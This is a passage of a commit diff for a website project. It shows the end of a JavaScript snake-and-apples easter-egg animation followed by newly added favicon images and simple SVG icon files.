|
}
|
||||||
|
|
||||||
|
finish(immediate = false, notifyCompletion = false) {
|
||||||
|
if (this.finished) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
this.finished = true;
|
||||||
|
this.running = false;
|
||||||
|
if (this.rafId) {
|
||||||
|
cancelAnimationFrame(this.rafId);
|
||||||
|
this.rafId = null;
|
||||||
|
}
|
||||||
|
if (this.pendingResizeId) {
|
||||||
|
cancelAnimationFrame(this.pendingResizeId);
|
||||||
|
this.pendingResizeId = null;
|
||||||
|
}
|
||||||
|
window.removeEventListener('resize', this.resize);
|
||||||
|
if (this.container && this.container.parentNode) {
|
||||||
|
this.container.parentNode.removeChild(this.container);
|
||||||
|
}
|
||||||
|
if (this.cleanupResolve) {
|
||||||
|
this.cleanupResolve();
|
||||||
|
this.cleanupResolve = null;
|
||||||
|
}
|
||||||
|
if (immediate) {
|
||||||
|
this.apples.length = 0;
|
||||||
|
}
|
||||||
|
if (notifyCompletion && !this.cleanupRequested) {
|
||||||
|
this.notifyAppForCleanup();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
notifyAppForCleanup() {
|
||||||
|
if (this.appNotified) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
this.appNotified = true;
|
||||||
|
if (this.app && typeof this.app.destroyEasterEggEffect === 'function') {
|
||||||
|
setTimeout(() => {
|
||||||
|
try {
|
||||||
|
this.app.destroyEasterEggEffect(true);
|
||||||
|
} catch (error) {
|
||||||
|
console.warn('自动清理贪吃蛇彩蛋失败:', error);
|
||||||
|
}
|
||||||
|
}, 0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class Snake {
|
||||||
|
constructor(effect) {
|
||||||
|
this.effect = effect;
|
||||||
|
this.canvas = effect.canvas;
|
||||||
|
this.ctx = effect.ctx;
|
||||||
|
this.radius = 14;
|
||||||
|
this.targetLength = 28;
|
||||||
|
this.currentLength = 28;
|
||||||
|
this.speed = 2;
|
||||||
|
this.angle = 0;
|
||||||
|
this.targetAngle = 0;
|
||||||
|
this.hue = 30;
|
||||||
|
this.currentTarget = null;
|
||||||
|
this.targetStartTime = Date.now();
|
||||||
|
this.targetTimeout = 10000;
|
||||||
|
this.timedOut = false;
|
||||||
|
this.finalRunAngle = null;
|
||||||
|
this.initializeEntryPosition();
|
||||||
|
}
|
||||||
|
|
||||||
|
initializeEntryPosition() {
|
||||||
|
const width = this.canvas.width;
|
||||||
|
const height = this.canvas.height;
|
||||||
|
const margin = 120;
|
||||||
|
const side = Math.floor(Math.random() * 4);
|
||||||
|
let startX;
|
||||||
|
let startY;
|
||||||
|
switch (side) {
|
||||||
|
case 0:
|
||||||
|
startX = -margin;
|
||||||
|
startY = Math.random() * height;
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
startX = width + margin;
|
||||||
|
startY = Math.random() * height;
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
startX = Math.random() * width;
|
||||||
|
startY = -margin;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
startX = Math.random() * width;
|
||||||
|
startY = height + margin;
|
||||||
|
}
|
||||||
|
const targetX = width / 2;
|
||||||
|
const targetY = height / 2;
|
||||||
|
const entryAngle = Math.atan2(targetY - startY, targetX - startX);
|
||||||
|
this.angle = entryAngle;
|
||||||
|
this.targetAngle = entryAngle;
|
||||||
|
const tailX = startX - Math.cos(entryAngle) * this.targetLength;
|
||||||
|
const tailY = startY - Math.sin(entryAngle) * this.targetLength;
|
||||||
|
this.path = [
|
||||||
|
{ x: startX, y: startY },
|
||||||
|
{ x: tailX, y: tailY }
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
handleResize(width, height) {
|
||||||
|
this.path.forEach((point) => {
|
||||||
|
point.x = Math.max(-40, Math.min(width + 40, point.x));
|
||||||
|
point.y = Math.max(-40, Math.min(height + 40, point.y));
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
findNearestApple() {
|
||||||
|
if (this.effect.finalRun) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const apples = this.effect.apples;
|
||||||
|
if (!apples.length) {
|
||||||
|
this.currentTarget = null;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const now = Date.now();
|
||||||
|
if (this.currentTarget && (now - this.targetStartTime) < this.targetTimeout) {
|
||||||
|
const targetStillExists = apples.includes(this.currentTarget);
|
||||||
|
if (targetStillExists) {
|
||||||
|
const dx = this.currentTarget.x - this.path[0].x;
|
||||||
|
const dy = this.currentTarget.y - this.path[0].y;
|
||||||
|
this.targetAngle = Math.atan2(dy, dx);
|
||||||
|
this.timedOut = false;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
let targetApple = null;
|
||||||
|
let targetDistance = this.timedOut ? -Infinity : Infinity;
|
||||||
|
|
||||||
|
apples.forEach((apple) => {
|
||||||
|
const dx = apple.x - this.path[0].x;
|
||||||
|
const dy = apple.y - this.path[0].y;
|
||||||
|
const distance = Math.sqrt(dx * dx + dy * dy);
|
||||||
|
|
||||||
|
if (this.timedOut) {
|
||||||
|
if (distance > targetDistance) {
|
||||||
|
targetDistance = distance;
|
||||||
|
targetApple = apple;
|
||||||
|
}
|
||||||
|
} else if (distance < targetDistance) {
|
||||||
|
targetDistance = distance;
|
||||||
|
targetApple = apple;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
if (targetApple) {
|
||||||
|
if (this.currentTarget !== targetApple) {
|
||||||
|
this.currentTarget = targetApple;
|
||||||
|
this.targetStartTime = now;
|
||||||
|
this.timedOut = false;
|
||||||
|
} else if ((now - this.targetStartTime) >= this.targetTimeout) {
|
||||||
|
this.timedOut = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
const dx = targetApple.x - this.path[0].x;
|
||||||
|
const dy = targetApple.y - this.path[0].y;
|
||||||
|
this.targetAngle = Math.atan2(dy, dx);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
beginFinalRun() {
|
||||||
|
if (this.finalRunAngle == null) {
|
||||||
|
this.finalRunAngle = this.angle;
|
||||||
|
}
|
||||||
|
this.targetAngle = this.finalRunAngle;
|
||||||
|
this.currentTarget = null;
|
||||||
|
}
|
||||||
|
|
||||||
|
update() {
|
||||||
|
if (!this.effect.finalRun) {
|
||||||
|
let angleDiff = this.targetAngle - this.angle;
|
||||||
|
while (angleDiff > Math.PI) angleDiff -= 2 * Math.PI;
|
||||||
|
while (angleDiff < -Math.PI) angleDiff += 2 * Math.PI;
|
||||||
|
const maxTurnRate = 0.03;
|
||||||
|
this.angle += angleDiff * maxTurnRate;
|
||||||
|
} else if (this.finalRunAngle != null) {
|
||||||
|
this.angle = this.finalRunAngle;
|
||||||
|
}
|
||||||
|
|
||||||
|
const head = { ...this.path[0] };
|
||||||
|
head.x += Math.cos(this.angle) * this.speed;
|
||||||
|
head.y += Math.sin(this.angle) * this.speed;
|
||||||
|
if (!this.effect.finalRun) {
|
||||||
|
const margin = 0;
|
||||||
|
if (head.x < -margin) head.x = -margin;
|
||||||
|
if (head.x > this.canvas.width + margin) head.x = this.canvas.width + margin;
|
||||||
|
if (head.y < -margin) head.y = -margin;
|
||||||
|
if (head.y > this.canvas.height + margin) head.y = this.canvas.height + margin;
|
||||||
|
}
|
||||||
|
|
||||||
|
this.path.unshift(head);
|
||||||
|
|
||||||
|
if (!this.effect.finalRun) {
|
||||||
|
this.checkApples(head);
|
||||||
|
}
|
||||||
|
|
||||||
|
this.trimPath();
|
||||||
|
}
|
||||||
|
|
||||||
|
checkApples(head) {
|
||||||
|
const apples = this.effect.apples;
|
||||||
|
for (let i = 0; i < apples.length; i++) {
|
||||||
|
const apple = apples[i];
|
||||||
|
const dx = head.x - apple.x;
|
||||||
|
const dy = head.y - apple.y;
|
||||||
|
const distance = Math.sqrt(dx * dx + dy * dy);
|
||||||
|
|
||||||
|
if (distance < this.radius + 14) {
|
||||||
|
this.targetLength += 28 * 3;
|
||||||
|
this.currentTarget = null;
|
||||||
|
this.effect.handleAppleConsumed(i);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
trimPath() {
|
||||||
|
let pathLength = 0;
|
||||||
|
for (let i = 0; i < this.path.length - 1; i++) {
|
||||||
|
const dx = this.path[i].x - this.path[i + 1].x;
|
||||||
|
const dy = this.path[i].y - this.path[i + 1].y;
|
||||||
|
pathLength += Math.sqrt(dx * dx + dy * dy);
|
||||||
|
}
|
||||||
|
|
||||||
|
while (this.path.length > 2 && pathLength > this.targetLength) {
|
||||||
|
const last = this.path[this.path.length - 1];
|
||||||
|
const secondLast = this.path[this.path.length - 2];
|
||||||
|
const dx = secondLast.x - last.x;
|
||||||
|
const dy = secondLast.y - last.y;
|
||||||
|
const segmentLength = Math.sqrt(dx * dx + dy * dy);
|
||||||
|
|
||||||
|
if (pathLength - segmentLength >= this.targetLength) {
|
||||||
|
this.path.pop();
|
||||||
|
pathLength -= segmentLength;
|
||||||
|
} else {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
this.currentLength = pathLength;
|
||||||
|
}
|
||||||
|
|
||||||
|
draw() {
|
||||||
|
if (this.path.length < 2) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const ctx = this.ctx;
|
||||||
|
ctx.strokeStyle = `hsl(${this.hue}, 70%, 65%)`;
|
||||||
|
ctx.lineWidth = this.radius * 2;
|
||||||
|
ctx.lineCap = 'round';
|
||||||
|
ctx.lineJoin = 'round';
|
||||||
|
ctx.shadowBlur = 20;
|
||||||
|
ctx.shadowColor = `hsl(${this.hue}, 80%, 55%)`;
|
||||||
|
|
||||||
|
ctx.beginPath();
|
||||||
|
ctx.moveTo(this.path[0].x, this.path[0].y);
|
||||||
|
for (let i = 1; i < this.path.length; i++) {
|
||||||
|
ctx.lineTo(this.path[i].x, this.path[i].y);
|
||||||
|
}
|
||||||
|
ctx.stroke();
|
||||||
|
ctx.shadowBlur = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
isCompletelyOffscreen(margin = 40) {
|
||||||
|
const width = this.canvas.width;
|
||||||
|
const height = this.canvas.height;
|
||||||
|
return this.path.every((point) => {
|
||||||
|
return (
|
||||||
|
point.x < -margin ||
|
||||||
|
point.x > width + margin ||
|
||||||
|
point.y < -margin ||
|
||||||
|
point.y > height + margin
|
||||||
|
);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
})(window);
|
||||||
BIN
website-design/exp/static/favicon-16x16.png
Normal file
|
After Width: | Height: | Size: 362 B |
BIN
website-design/exp/static/favicon-32x32.png
Normal file
|
After Width: | Height: | Size: 716 B |
3
website-design/exp/static/icons/align-left.svg
Normal file
@ -0,0 +1,3 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
|
||||||
|
<path d="M15 12H3m14 6H3M21 6H3" />
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 204 B |
14
website-design/exp/static/icons/arrow-left.svg
Normal file
@ -0,0 +1,14 @@
|
|||||||
|
<svg
|
||||||
|
xmlns="http://www.w3.org/2000/svg"
|
||||||
|
width="24"
|
||||||
|
height="24"
|
||||||
|
viewBox="0 0 24 24"
|
||||||
|
fill="none"
|
||||||
|
stroke="currentColor"
|
||||||
|
stroke-width="2"
|
||||||
|
stroke-linecap="round"
|
||||||
|
stroke-linejoin="round"
|
||||||
|
>
|
||||||
|
<path d="m12 19-7-7 7-7" />
|
||||||
|
<path d="M19 12H5" />
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 262 B |
1
website-design/exp/static/icons/bell.svg
Normal file
@ -0,0 +1 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><path fill="none" d="M10.268 21a2 2 0 0 0 3.464 0m-10.47-5.674A1 1 0 0 0 4 17h16a1 1 0 0 0 .74-1.673C19.41 13.956 18 12.499 18 8A6 6 0 0 0 6 8c0 4.499-1.411 5.956-2.738 7.326"/></svg>
|
||||||
|
After Width: | Height: | Size: 382 B |
13
website-design/exp/static/icons/book.svg
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
<svg
|
||||||
|
xmlns="http://www.w3.org/2000/svg"
|
||||||
|
width="24"
|
||||||
|
height="24"
|
||||||
|
viewBox="0 0 24 24"
|
||||||
|
fill="none"
|
||||||
|
stroke="currentColor"
|
||||||
|
stroke-width="2"
|
||||||
|
stroke-linecap="round"
|
||||||
|
stroke-linejoin="round"
|
||||||
|
>
|
||||||
|
<path d="M4 19.5v-15A2.5 2.5 0 0 1 6.5 2H19a1 1 0 0 1 1 1v18a1 1 0 0 1-1 1H6.5a1 1 0 0 1 0-5H20" />
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 310 B |
18
website-design/exp/static/icons/bot.svg
Normal file
@ -0,0 +1,18 @@
|
|||||||
|
<svg
|
||||||
|
xmlns="http://www.w3.org/2000/svg"
|
||||||
|
width="24"
|
||||||
|
height="24"
|
||||||
|
viewBox="0 0 24 24"
|
||||||
|
fill="none"
|
||||||
|
stroke="currentColor"
|
||||||
|
stroke-width="2"
|
||||||
|
stroke-linecap="round"
|
||||||
|
stroke-linejoin="round"
|
||||||
|
>
|
||||||
|
<path d="M12 8V4H8" />
|
||||||
|
<rect width="16" height="12" x="4" y="8" rx="2" />
|
||||||
|
<path d="M2 14h2" />
|
||||||
|
<path d="M20 14h2" />
|
||||||
|
<path d="M15 13v2" />
|
||||||
|
<path d="M9 13v2" />
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 380 B |
1
website-design/exp/static/icons/brain-cog.svg
Normal file
@ -0,0 +1 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="48" height="48" fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><path d="m10.852 14.772l-.383.923m.383-6.467l-.383-.923m2.679 6.467l.382.924m.001-7.391l-.383.923m1.624 1.624l.923-.383m-.923 2.679l.923.383M17.598 6.5A3 3 0 1 0 12 5a3 3 0 0 0-5.63-1.446a3 3 0 0 0-.368 1.571a4 4 0 0 0-2.525 5.771"/><path d="M17.998 5.125a4 4 0 0 1 2.525 5.771"/><path d="M19.505 10.294a4 4 0 0 1-1.5 7.706"/><path d="M4.032 17.483A4 4 0 0 0 11.464 20c.18-.311.892-.311 1.072 0a4 4 0 0 0 7.432-2.516"/><path d="M4.5 10.291A4 4 0 0 0 6 18m.002-12.875a3 3 0 0 0 .4 1.375m2.826 4.352l-.923-.383m.923 2.679l-.923.383"/><circle cx="12" cy="12" r="3"/></svg>
|
||||||
|
After Width: | Height: | Size: 764 B |
20
website-design/exp/static/icons/brain.svg
Normal file
@ -0,0 +1,20 @@
|
|||||||
|
<svg
|
||||||
|
xmlns="http://www.w3.org/2000/svg"
|
||||||
|
width="24"
|
||||||
|
height="24"
|
||||||
|
viewBox="0 0 24 24"
|
||||||
|
fill="none"
|
||||||
|
stroke="currentColor"
|
||||||
|
stroke-width="2"
|
||||||
|
stroke-linecap="round"
|
||||||
|
stroke-linejoin="round"
|
||||||
|
>
|
||||||
|
<path d="M12 18V5" />
|
||||||
|
<path d="M15 13a4.17 4.17 0 0 1-3-4 4.17 4.17 0 0 1-3 4" />
|
||||||
|
<path d="M17.598 6.5A3 3 0 1 0 12 5a3 3 0 1 0-5.598 1.5" />
|
||||||
|
<path d="M17.997 5.125a4 4 0 0 1 2.526 5.77" />
|
||||||
|
<path d="M18 18a4 4 0 0 0 2-7.464" />
|
||||||
|
<path d="M19.967 17.483A4 4 0 1 1 12 18a4 4 0 1 1-7.967-.517" />
|
||||||
|
<path d="M6 18a4 4 0 0 1-2-7.464" />
|
||||||
|
<path d="M6.003 5.125a4 4 0 0 0-2.526 5.77" />
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 601 B |
14
website-design/exp/static/icons/camera.svg
Normal file
@ -0,0 +1,14 @@
|
|||||||
|
<svg
|
||||||
|
xmlns="http://www.w3.org/2000/svg"
|
||||||
|
width="24"
|
||||||
|
height="24"
|
||||||
|
viewBox="0 0 24 24"
|
||||||
|
fill="none"
|
||||||
|
stroke="currentColor"
|
||||||
|
stroke-width="2"
|
||||||
|
stroke-linecap="round"
|
||||||
|
stroke-linejoin="round"
|
||||||
|
>
|
||||||
|
<path d="M13.997 4a2 2 0 0 1 1.76 1.05l.486.9A2 2 0 0 0 18.003 7H20a2 2 0 0 1 2 2v9a2 2 0 0 1-2 2H4a2 2 0 0 1-2-2V9a2 2 0 0 1 2-2h1.997a2 2 0 0 0 1.759-1.048l.489-.904A2 2 0 0 1 10.004 4z" />
|
||||||
|
<circle cx="12" cy="13" r="3" />
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 437 B |
5
website-design/exp/static/icons/chat-bubble.svg
Normal file
@ -0,0 +1,5 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 32 32" fill="none" stroke="currentColor" stroke-width="2.2" stroke-linecap="round" stroke-linejoin="round">
|
||||||
|
<path d="M6 7c0-2 1.6-3.6 3.6-3.6h13c2 0 3.6 1.6 3.6 3.6v10c0 2-1.6 3.6-3.6 3.6h-6.2L12.4 25l0.7-4.4H9.6c-2 0-3.6-1.6-3.6-3.6V7Z" />
|
||||||
|
<path d="M10.4 11h11.2" />
|
||||||
|
<path d="M10.4 15h7.2" />
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 360 B |
13
website-design/exp/static/icons/check.svg
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
<svg
|
||||||
|
xmlns="http://www.w3.org/2000/svg"
|
||||||
|
width="24"
|
||||||
|
height="24"
|
||||||
|
viewBox="0 0 24 24"
|
||||||
|
fill="none"
|
||||||
|
stroke="currentColor"
|
||||||
|
stroke-width="2"
|
||||||
|
stroke-linecap="round"
|
||||||
|
stroke-linejoin="round"
|
||||||
|
>
|
||||||
|
<path d="M20 6 9 17l-5-5" />
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 239 B |
13
website-design/exp/static/icons/checkbox.svg
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
<svg
|
||||||
|
xmlns="http://www.w3.org/2000/svg"
|
||||||
|
width="24"
|
||||||
|
height="24"
|
||||||
|
viewBox="0 0 24 24"
|
||||||
|
fill="none"
|
||||||
|
stroke="currentColor"
|
||||||
|
stroke-width="2"
|
||||||
|
stroke-linecap="round"
|
||||||
|
stroke-linejoin="round"
|
||||||
|
>
|
||||||
|
<rect x="5" y="5" width="14" height="14" rx="2" />
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 261 B |
13
website-design/exp/static/icons/chevron-down.svg
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
<svg
|
||||||
|
xmlns="http://www.w3.org/2000/svg"
|
||||||
|
width="24"
|
||||||
|
height="24"
|
||||||
|
viewBox="0 0 24 24"
|
||||||
|
fill="none"
|
||||||
|
stroke="currentColor"
|
||||||
|
stroke-width="2"
|
||||||
|
stroke-linecap="round"
|
||||||
|
stroke-linejoin="round"
|
||||||
|
>
|
||||||
|
<path d="m6 9 6 6 6-6" />
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 236 B |
15
website-design/exp/static/icons/circle-alert.svg
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
<svg
|
||||||
|
xmlns="http://www.w3.org/2000/svg"
|
||||||
|
width="24"
|
||||||
|
height="24"
|
||||||
|
viewBox="0 0 24 24"
|
||||||
|
fill="none"
|
||||||
|
stroke="currentColor"
|
||||||
|
stroke-width="2"
|
||||||
|
stroke-linecap="round"
|
||||||
|
stroke-linejoin="round"
|
||||||
|
>
|
||||||
|
<circle cx="12" cy="12" r="10" />
|
||||||
|
<line x1="12" x2="12" y1="8" y2="12" />
|
||||||
|
<line x1="12" x2="12.01" y1="16" y2="16" />
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 332 B |
14
website-design/exp/static/icons/clipboard.svg
Normal file
@ -0,0 +1,14 @@
|
|||||||
|
<svg
|
||||||
|
xmlns="http://www.w3.org/2000/svg"
|
||||||
|
width="24"
|
||||||
|
height="24"
|
||||||
|
viewBox="0 0 24 24"
|
||||||
|
fill="none"
|
||||||
|
stroke="currentColor"
|
||||||
|
stroke-width="2"
|
||||||
|
stroke-linecap="round"
|
||||||
|
stroke-linejoin="round"
|
||||||
|
>
|
||||||
|
<rect width="8" height="4" x="8" y="2" rx="1" ry="1" />
|
||||||
|
<path d="M16 4h2a2 2 0 0 1 2 2v14a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2h2" />
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 354 B |
14
website-design/exp/static/icons/clock.svg
Normal file
@ -0,0 +1,14 @@
|
|||||||
|
<svg
|
||||||
|
xmlns="http://www.w3.org/2000/svg"
|
||||||
|
width="24"
|
||||||
|
height="24"
|
||||||
|
viewBox="0 0 24 24"
|
||||||
|
fill="none"
|
||||||
|
stroke="currentColor"
|
||||||
|
stroke-width="2"
|
||||||
|
stroke-linecap="round"
|
||||||
|
stroke-linejoin="round"
|
||||||
|
>
|
||||||
|
<circle cx="12" cy="12" r="9" />
|
||||||
|
<path d="M12 7v5l3 3" />
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 270 B |
1
website-design/exp/static/icons/copy.svg
Normal file
@ -0,0 +1 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="48" height="48" fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><rect width="14" height="14" x="8" y="8" rx="2" ry="2"/><path d="M4 16c-1.1 0-2-.9-2-2V4c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2"/></svg>
|
||||||
|
After Width: | Height: | Size: 324 B |
14
website-design/exp/static/icons/eye.svg
Normal file
@ -0,0 +1,14 @@
|
|||||||
|
<svg
|
||||||
|
xmlns="http://www.w3.org/2000/svg"
|
||||||
|
width="24"
|
||||||
|
height="24"
|
||||||
|
viewBox="0 0 24 24"
|
||||||
|
fill="none"
|
||||||
|
stroke="currentColor"
|
||||||
|
stroke-width="2"
|
||||||
|
stroke-linecap="round"
|
||||||
|
stroke-linejoin="round"
|
||||||
|
>
|
||||||
|
<path d="M2.062 12.348a1 1 0 0 1 0-.696 10.75 10.75 0 0 1 19.876 0 1 1 0 0 1 0 .696 10.75 10.75 0 0 1-19.876 0" />
|
||||||
|
<circle cx="12" cy="12" r="3" />
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 360 B |
1
website-design/exp/static/icons/file-down.svg
Normal file
@ -0,0 +1 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><path d="M15 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V7Z"/><path d="M14 2v4a2 2 0 0 0 2 2h4m-8 10v-6m-3 3l3 3l3-3"/></svg>
|
||||||
|
After Width: | Height: | Size: 328 B |
1
website-design/exp/static/icons/file-pen.svg
Normal file
@ -0,0 +1 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><path d="M12.5 22H18a2 2 0 0 0 2-2V7l-5-5H6a2 2 0 0 0-2 2v9.5"/><path d="M14 2v4a2 2 0 0 0 2 2h4m-6.622 7.626a1 1 0 1 0-3.004-3.004l-5.01 5.012a2 2 0 0 0-.506.854l-.837 2.87a.5.5 0 0 0 .62.62l2.87-.837a2 2 0 0 0 .854-.506z"/></svg>
|
||||||
|
After Width: | Height: | Size: 426 B |
14
website-design/exp/static/icons/file.svg
Normal file
@ -0,0 +1,14 @@
|
|||||||
|
<svg
|
||||||
|
xmlns="http://www.w3.org/2000/svg"
|
||||||
|
width="24"
|
||||||
|
height="24"
|
||||||
|
viewBox="0 0 24 24"
|
||||||
|
fill="none"
|
||||||
|
stroke="currentColor"
|
||||||
|
stroke-width="2"
|
||||||
|
stroke-linecap="round"
|
||||||
|
stroke-linejoin="round"
|
||||||
|
>
|
||||||
|
<path d="M6 22a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h8a2.4 2.4 0 0 1 1.704.706l3.588 3.588A2.4 2.4 0 0 1 20 8v12a2 2 0 0 1-2 2z" />
|
||||||
|
<path d="M14 2v5a1 1 0 0 0 1 1h5" />
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 373 B |
13
website-design/exp/static/icons/flag.svg
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
<svg
|
||||||
|
xmlns="http://www.w3.org/2000/svg"
|
||||||
|
width="24"
|
||||||
|
height="24"
|
||||||
|
viewBox="0 0 24 24"
|
||||||
|
fill="none"
|
||||||
|
stroke="currentColor"
|
||||||
|
stroke-width="2"
|
||||||
|
stroke-linecap="round"
|
||||||
|
stroke-linejoin="round"
|
||||||
|
>
|
||||||
|
<path d="M4 22V4a1 1 0 0 1 .4-.8A6 6 0 0 1 8 2c3 0 5 2 7.333 2q2 0 3.067-.8A1 1 0 0 1 20 4v10a1 1 0 0 1-.4.8A6 6 0 0 1 16 16c-3 0-5-2-8-2a6 6 0 0 0-4 1.528" />
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 370 B |
1
website-design/exp/static/icons/flask-conical.svg
Normal file
@ -0,0 +1 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><path fill="none" d="M14 2v6a2 2 0 0 0 .245.96l5.51 10.08A2 2 0 0 1 18 22H6a2 2 0 0 1-1.755-2.96l5.51-10.08A2 2 0 0 0 10 8V2M6.453 15h11.094M8.5 2h7"/></svg>
|
||||||
|
After Width: | Height: | Size: 356 B |
13
website-design/exp/static/icons/folder-closed.svg
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
<svg
|
||||||
|
xmlns="http://www.w3.org/2000/svg"
|
||||||
|
width="24"
|
||||||
|
height="24"
|
||||||
|
viewBox="0 0 24 24"
|
||||||
|
fill="none"
|
||||||
|
stroke="currentColor"
|
||||||
|
stroke-width="2"
|
||||||
|
stroke-linecap="round"
|
||||||
|
stroke-linejoin="round"
|
||||||
|
>
|
||||||
|
<path d="M20 20a2 2 0 0 0 2-2V8a2 2 0 0 0-2-2h-7.9a2 2 0 0 1-1.69-.9L9.6 3.9A2 2 0 0 0 7.93 3H4a2 2 0 0 0-2 2v13a2 2 0 0 0 2 2Z" />
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 342 B |
1
website-design/exp/static/icons/folder-git-2.svg
Normal file
@ -0,0 +1 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><path d="M9 20H4a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h3.9a2 2 0 0 1 1.69.9l.81 1.2a2 2 0 0 0 1.67.9H20a2 2 0 0 1 2 2v5"/><circle cx="13" cy="12" r="2"/><path d="M18 19c-2.8 0-5-2.2-5-5v8"/><circle cx="20" cy="19" r="2"/></svg>
|
||||||
|
After Width: | Height: | Size: 414 B |
1
website-design/exp/static/icons/folder-open.svg
Normal file
@ -0,0 +1 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="48" height="48" fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><path d="m6 14l1.5-2.9A2 2 0 0 1 9.24 10H20a2 2 0 0 1 1.94 2.5l-1.54 6a2 2 0 0 1-1.95 1.5H4a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h3.9a2 2 0 0 1 1.69.9l.81 1.2a2 2 0 0 0 1.67.9H18a2 2 0 0 1 2 2v2"/></svg>
|
||||||
|
After Width: | Height: | Size: 395 B |
13
website-design/exp/static/icons/folder.svg
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
<svg
|
||||||
|
xmlns="http://www.w3.org/2000/svg"
|
||||||
|
width="24"
|
||||||
|
height="24"
|
||||||
|
viewBox="0 0 24 24"
|
||||||
|
fill="none"
|
||||||
|
stroke="currentColor"
|
||||||
|
stroke-width="2"
|
||||||
|
stroke-linecap="round"
|
||||||
|
stroke-linejoin="round"
|
||||||
|
>
|
||||||
|
<path d="M20 20a2 2 0 0 0 2-2V8a2 2 0 0 0-2-2h-7.9a2 2 0 0 1-1.69-.9L9.6 3.9A2 2 0 0 0 7.93 3H4a2 2 0 0 0-2 2v13a2 2 0 0 0 2 2Z" />
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 342 B |
16
website-design/exp/static/icons/git-branch.svg
Normal file
@ -0,0 +1,16 @@
|
|||||||
|
<svg
|
||||||
|
xmlns="http://www.w3.org/2000/svg"
|
||||||
|
width="24"
|
||||||
|
height="24"
|
||||||
